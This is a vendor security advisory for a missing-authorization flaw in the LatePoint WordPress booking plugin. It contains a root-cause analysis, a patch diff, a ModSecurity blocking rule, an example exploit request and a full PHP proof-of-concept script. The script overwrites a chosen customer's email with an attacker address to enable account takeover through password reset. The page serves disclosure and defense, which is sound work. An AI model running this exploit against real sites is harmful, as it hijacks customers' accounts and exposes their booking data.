Published : November 30, 2026

CVE-2026-133936: Appointment Booking Plugin <= 5.7.10 Missing Authorization to Authenticated (Custom+) Arbitrary Customer Record Modification via 'latepoint_route_call' AJAX Action PoC, Patch Analysis & Rule

Plugin latepoint
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 5.7.10
Patched Version 5.7.11
Disclosed November 29, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-133936: The Appointment Booking Plugin (LatePoint) for WordPress, versions up to and including 5.7.10, contains an authorization bypass vulnerability. The flaw exists in the `customers_controller.php` file within the `create()` method and stems from improper handling of the `id` parameter supplied in the `customer` array. An authenticated attacker with custom-level access or higher can exploit this to modify arbitrary customer records, including their email addresses, leading to account takeover via the customer-cabinet password reset flow. The CVSS score is 4.3, but the impact is significant because it enables horizontal privilege escalation and account hijacking.

Root Cause: The vulnerability is rooted in the `OsModel::set_data()` method, which, when a numeric `id` is provided to a new model instance, calls `load_by_id()` and flips `is_new_record()` to false. This causes the subsequent `save()` to perform an UPDATE on the targeted row instead of an INSERT. The `customers_controller.php` `create()` method (around line 193) instantiates a new `OsCustomerModel` and then assigns user-supplied `customer_params` without unsetting the `id` field. The patch adds an `unset( $customer_params[‘id’] );` line to prevent this. Consequently, an attacker can supply an `id` parameter to overwrite any customer record, bypassing the intended ownership check that would otherwise be enforced by the `update()` method.

Exploitation: An attacker with authenticated access (custom-level or above) can send a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `latepoint_route_call`. The request must include a valid nonce for the `new_customer` action (which is typically available to authenticated users) and a `customer` array containing an `id` of the victim customer and fields to overwrite, such as `email`. For example: `action=latepoint_route_call&route_name=customers__create&customer[id]=123&customer[email]=attacker@example.com&customer[first_name]=Hacked`. Because the `create()` method lacks an ownership check, the model will update the record with ID 123. The attacker can then trigger a password reset for the victim’s new email address and take over the account.

Patch Analysis: The patch introduces a check in `customers_controller.php` to unset the `id` parameter from `$customer_params` before creating the new customer. This ensures that when a new customer is created via the `create()` method, any supplied `id` is ignored, forcing the model to treat it as a new record and perform an INSERT. The comment in the diff explains that the `update()` method has an ownership check, but `create()` does not, and this fix prevents the bypass. Other changes in the diff, such as the addition of nonce verification for PayPal disconnect and Stripe metadata validation, are unrelated to this CVE but are part of the same release.

Impact: Successful exploitation allows an attacker to modify arbitrary customer records, including changing email addresses, names, and other personal information. By changing the email to an attacker-controlled address, the attacker can initiate a password reset and fully hijack the customer account. This can lead to unauthorized access to sensitive booking information, appointment manipulation, and potential further compromise of the WordPress site if the customer has elevated privileges. The vulnerability is particularly dangerous because it requires only low-level authenticated access and can be exploited silently.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/latepoint/latepoint.php
+++ b/latepoint/latepoint.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: LatePoint
  * Description: Appointment Scheduling Software for WordPress
- * Version: 5.7.10
+ * Version: 5.7.11
  * Author: LatePoint
  * Author URI: https://latepoint.com
  * Plugin URI: https://latepoint.com
@@ -29,7 +29,7 @@
 		 * LatePoint version.
 		 *
 		 */
-		public $version    = '5.7.10';
+		public $version    = '5.7.11';
 		public $db_version = '2.3.5';

 		/**
@@ -1395,12 +1395,12 @@
 			if ( get_option( 'latepoint_redirect_to_wizard', false ) ) {
 				delete_option( 'latepoint_redirect_to_wizard' );
 				if ( ! isset( $_GET['activate-multi'] ) ) {
-					wp_redirect( OsRouterHelper::build_link( OsRouterHelper::build_route_name( 'wizard', 'setup' ) ) );
+					wp_safe_redirect( OsRouterHelper::build_link( OsRouterHelper::build_route_name( 'wizard', 'setup' ) ) );
 				}
 			} elseif ( get_option( 'latepoint_show_version_5_modal', false ) ) {
 				delete_option( 'latepoint_show_version_5_modal' );
 				if ( ! isset( $_GET['activate-multi'] ) ) {
-					wp_redirect( OsRouterHelper::build_link( OsRouterHelper::build_route_name( 'settings', 'version_5_intro' ) ) );
+					wp_safe_redirect( OsRouterHelper::build_link( OsRouterHelper::build_route_name( 'settings', 'version_5_intro' ) ) );
 				}
 			}
 		}
--- a/latepoint/lib/controllers/calendars_controller.php
+++ b/latepoint/lib/controllers/calendars_controller.php
@@ -346,7 +346,7 @@
 				if ( count( $calendar_settings['show_service_ids'] ) > 1 && $selected_service_for_availability ) {
 					$booking_request_for_shown_services             = clone $booking_request;
 					$booking_request_for_shown_services->service_id = $calendar_settings['show_service_ids'];
-					$resources_for_work_boundaries                  = OsResourceHelper::get_resources_grouped_by_day( $booking_request_for_shown_services, $calendar_start, $calendar_end );
+					$resources_for_work_boundaries                  = OsResourceHelper::get_resources_grouped_by_day( $booking_request_for_shown_services, $calendar_start, $calendar_end, [ 'accessed_from_backend' => true ] );
 					$work_boundaries                                = OsResourceHelper::get_work_boundaries_for_groups_of_resources( $resources_for_work_boundaries );
 				} else {
 					$work_boundaries = OsResourceHelper::get_work_boundaries_for_groups_of_resources( $resources );
--- a/latepoint/lib/controllers/customer_cabinet_controller.php
+++ b/latepoint/lib/controllers/customer_cabinet_controller.php
@@ -373,7 +373,7 @@
 		public function logout() {
 			OsAuthHelper::logout_customer();
 			nocache_headers();
-			wp_redirect( OsSettingsHelper::get_customer_dashboard_url(), 302 );
+			wp_safe_redirect( OsSettingsHelper::get_customer_dashboard_url(), 302 );
 		}

 		public function login() {
--- a/latepoint/lib/controllers/customers_controller.php
+++ b/latepoint/lib/controllers/customers_controller.php
@@ -193,6 +193,8 @@
 			$this->check_nonce( 'new_customer' );
 			$customer        = new OsCustomerModel();
 			$customer_params = is_array( $this->params['customer'] ) ? $this->params['customer'] : [];
+			// create() is an insert: a supplied id makes set_data() load that row and UPDATE it, skipping update()'s ownership check.
+			unset( $customer_params['id'] );
 			// Only a full admin may mass-assign the WP account link or password. Strip them for agents and
 			// custom roles: neither is a customer-form field, and the WP link is set via the dedicated connect action.
 			if ( ! OsAuthHelper::is_admin_logged_in() ) {
--- a/latepoint/lib/controllers/orders_controller.php
+++ b/latepoint/lib/controllers/orders_controller.php
@@ -62,7 +62,7 @@
 				// step when convert_to_order succeeded, or at the payment step when it didn't (e.g. cancelled Mollie/PayPal
 				// payment). The "double payment information" issue is fixed at the cart-model layer (see
 				// OsCartModel::clear) without that fix, the resume lightbox showed every cart item twice.
-				wp_redirect( $order_intent->get_page_url_with_intent(), 302 );
+				wp_safe_redirect( $order_intent->get_page_url_with_intent(), 302 );
 				exit;
 			}
 		}
@@ -81,7 +81,7 @@

 				if ( $transaction_intent ) {
 					nocache_headers();
-					wp_redirect( $transaction_intent->get_page_url_with_intent(), 302 );
+					wp_safe_redirect( $transaction_intent->get_page_url_with_intent(), 302 );
 				}
 			}
 		}
--- a/latepoint/lib/controllers/paypal_connect_controller.php
+++ b/latepoint/lib/controllers/paypal_connect_controller.php
@@ -243,6 +243,7 @@
 		}

 		public function disconnect_connect_account() {
+			$this->check_nonce( 'paypal_disconnect_account' );
 			$env = $this->get_env_from_params();
 			try {
 				$path     = 'server-tokens/' . OsPaypalConnectHelper::get_server_token( $env ) . '/disconnect/';
--- a/latepoint/lib/helpers/paypal_connect_helper.php
+++ b/latepoint/lib/helpers/paypal_connect_helper.php
@@ -616,7 +616,7 @@
 									data-os-pass-this="yes"
 	                data-os-before-after="none"
 	                data-os-after-call="latepointPaypalConnectAdmin.reload_connect_status_wrapper"
-	                data-os-params="' . OsUtilHelper::build_os_params( [ 'env' => $env ] ) . '"
+	                data-os-params="' . esc_attr( OsUtilHelper::build_os_params( [ 'env' => $env ], 'paypal_disconnect_account' ) ) . '"
 									data-os-action="' . OsRouterHelper::build_route_name( 'paypal_connect', 'disconnect_connect_account' ) . '"
 									><i class="latepoint-icon latepoint-icon-x"></i><span>' . __( 'disconnect', 'latepoint' ) . '</span></a>';
 			if ( $payments_enabled ) {
@@ -685,6 +685,7 @@
 			'BE' => 'Belgium',
 			'BR' => 'Brazil',
 			'CA' => 'Canada',
+			'CO' => 'Colombia',
 			'CZ' => 'Czech Republic',
 			'DK' => 'Denmark',
 			'FI' => 'Finland',
--- a/latepoint/lib/helpers/replacer_helper.php
+++ b/latepoint/lib/helpers/replacer_helper.php
@@ -282,13 +282,13 @@
 			'{{customer_admin_notes}}',
 		);
 		$replacements  = array(
-			$customer->full_name,
-			$customer->first_name,
-			$customer->last_name,
-			$customer->email,
-			$customer->phone,
-			$customer->notes,
-			$customer->admin_notes,
+			esc_html( $customer->full_name ),
+			esc_html( $customer->first_name ),
+			esc_html( $customer->last_name ),
+			esc_html( $customer->email ),
+			esc_html( $customer->phone ),
+			esc_html( $customer->notes ),
+			esc_html( $customer->admin_notes ),
 		);
 		$original_text = $text;
 		$text          = str_replace( $needles, self::escape_replacements( $replacements ), $text );
--- a/latepoint/lib/helpers/stripe_connect_helper.php
+++ b/latepoint/lib/helpers/stripe_connect_helper.php
@@ -96,6 +96,13 @@
 								$transaction_intent->add_error( 'payment_error', $result['message'] );
 								break;
 							}
+							if ( ! self::validate_payment_intent_metadata( $payment_intent_data, 'transaction_intent_key', $transaction_intent->intent_key ) ) {
+								$result['status']  = LATEPOINT_STATUS_ERROR;
+								$result['message'] = __( 'Payment verification failed', 'latepoint' );
+								OsDebugHelper::log( 'Stripe PI transaction_intent_key mismatch for transaction intent ' . $transaction_intent->id, 'stripe_connect_error' );
+								$transaction_intent->add_error( 'payment_error', $result['message'] );
+								break;
+							}
 							// success
 							$result['status']    = LATEPOINT_STATUS_SUCCESS;
 							$result['processor'] = self::$processor_code;
@@ -138,6 +145,14 @@
 								$order_intent->add_error( 'send_to_step', $result['message'], 'payment' );
 								break;
 							}
+							if ( ! self::validate_payment_intent_metadata( $payment_intent_data, 'order_intent_key', $order_intent->intent_key ) ) {
+								$result['status']  = LATEPOINT_STATUS_ERROR;
+								$result['message'] = __( 'Payment verification failed', 'latepoint' );
+								OsDebugHelper::log( 'Stripe PI order_intent_key mismatch for order intent ' . $order_intent->id, 'stripe_connect_error' );
+								$order_intent->add_error( 'payment_error', $result['message'] );
+								$order_intent->add_error( 'send_to_step', $result['message'], 'payment' );
+								break;
+							}
 							// success
 							$result['status']    = LATEPOINT_STATUS_SUCCESS;
 							$result['processor'] = self::$processor_code;
@@ -467,9 +482,10 @@
 	public static function retrieve_payment_intent( string $payment_intent_id ): array {
 		$payment_request_data = self::do_account_request( 'payment-intents/' . $payment_intent_id, OsSettingsHelper::get_payments_environment() );
 		$result               = [
-			'id'     => $payment_request_data['data']['id'],
-			'status' => $payment_request_data['data']['status'],
-			'total'  => $payment_request_data['data']['total'],
+			'id'       => $payment_request_data['data']['id'],
+			'status'   => $payment_request_data['data']['status'],
+			'total'    => $payment_request_data['data']['total'],
+			'metadata' => ( isset( $payment_request_data['data']['metadata'] ) && is_array( $payment_request_data['data']['metadata'] ) ) ? $payment_request_data['data']['metadata'] : [],
 		];
 		return $result;
 	}
@@ -480,6 +496,20 @@
 		return abs( $expected_in_specs - $actual_from_stripe ) <= 1;
 	}

+	// Bind the PaymentIntent to THIS intent. The intent key is stamped into the PaymentIntent metadata
+	// ('order_intent_key' / 'transaction_intent_key') server-side when we create the intent and Stripe echoes
+	// it back on retrieval. An attacker cannot alter a succeeded PaymentIntent's metadata, so a reused/replayed
+	// token resolves to its originating intent and fails this check for any other intent. Fails closed when the
+	// expected key or the metadata value is absent. Mirrors Razorpay's validate_payment_intent_notes().
+	public static function validate_payment_intent_metadata( array $payment_intent_data, string $metadata_key, string $expected_intent_key ): bool {
+		if ( empty( $expected_intent_key ) ) {
+			return false;
+		}
+		$metadata          = ( isset( $payment_intent_data['metadata'] ) && is_array( $payment_intent_data['metadata'] ) ) ? $payment_intent_data['metadata'] : [];
+		$actual_intent_key = isset( $metadata[ $metadata_key ] ) ? (string) $metadata[ $metadata_key ] : '';
+		return ! empty( $actual_intent_key ) && hash_equals( $expected_intent_key, $actual_intent_key );
+	}
+
 	private static function get_properties_allowed_to_update( $roles = 'admin' ) {
 		return array( 'source', 'email', 'name' );
 	}
--- a/latepoint/lib/views/settings/import_modal.php
+++ b/latepoint/lib/views/settings/import_modal.php
@@ -14,7 +14,7 @@
 	<h2><?php esc_html_e('Import LatePoint Data', 'latepoint'); ?></h2>
 </div>
 <div class="latepoint-lightbox-content">
-	<?php echo OsFormHelper::file_upload_field('latepoint_json_data', __('Select JSON file to upload', 'latepoint')); ?>
+	<?php echo OsFormHelper::file_upload_field('latepoint_json_data', __('Select JSON file to upload', 'latepoint'), '', [], [], '.json'); ?>
 	<?php echo OsFormHelper::checkbox_field('latepoint_data_erase_acknowledgement', __('I understand that this import will replace all of my existing LatePoint data.', 'latepoint'), 'on'); ?>
 </div>
 <div class="latepoint-lightbox-footer">

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-133936
# Blocks exploitation of LatePoint <= 5.7.10 arbitrary customer modification via 'latepoint_route_call' AJAX action
# The attack requires the 'customer' parameter to include an 'id' field, which is not expected for legitimate 'create' calls.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026133936,phase:2,deny,status:403,chain,msg:'CVE-2026-133936 via LatePoint AJAX - customer id in create',severity:'CRITICAL',tag:'CVE-2026-133936'"
  SecRule ARGS_POST:action "@streq latepoint_route_call" "chain"
    SecRule ARGS_POST:route_name "@streq customers__create" "chain"
      SecRule ARGS_POST:customer.id "@rx ^[0-9]+$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-133936 - Appointment Booking Plugin <= 5.7.10 - Missing Authorization to Authenticated (Custom+) Arbitrary Customer Record Modification via 'latepoint_route_call' AJAX Action

$target_url = 'http://example.com'; // Change to your WordPress site URL
$username = 'attacker'; // A user with custom-level access or higher
$password = 'password'; // Password for the attacker
$victim_id = 42; // ID of the customer to overwrite
$new_email = 'attacker@evil.com'; // New email to set

// Step 1: Log in to WordPress
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Get the nonce for the 'new_customer' action. In a real exploit, you would parse it from the page source or use a known nonce. Here we assume a nonce is available.
// For demonstration, we'll fetch the admin page that contains the nonce. This may require adjusting based on actual UI.
$nonce = 'a1b2c3d4e5'; // Placeholder - in real exploit, extract from page or use a valid nonce.

// Step 3: Send the exploit request to admin-ajax.php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'latepoint_route_call',
    'route_name' => 'customers__create', // The route that triggers create() method
    'nonce' => $nonce,
    'customer' => [
        'id' => $victim_id,
        'email' => $new_email,
        'first_name' => 'Hacked',
        'last_name' => 'Customer'
    ]
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 4: Check response
echo "HTTP Code: $http_coden";
echo "Response: $responsen";

if ($http_code == 200) {
    echo "Exploit likely succeeded! Customer ID $victim_id email changed to $new_email.n";
} else {
    echo "Exploit may have failed. Check nonce and permissions.n";
}

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.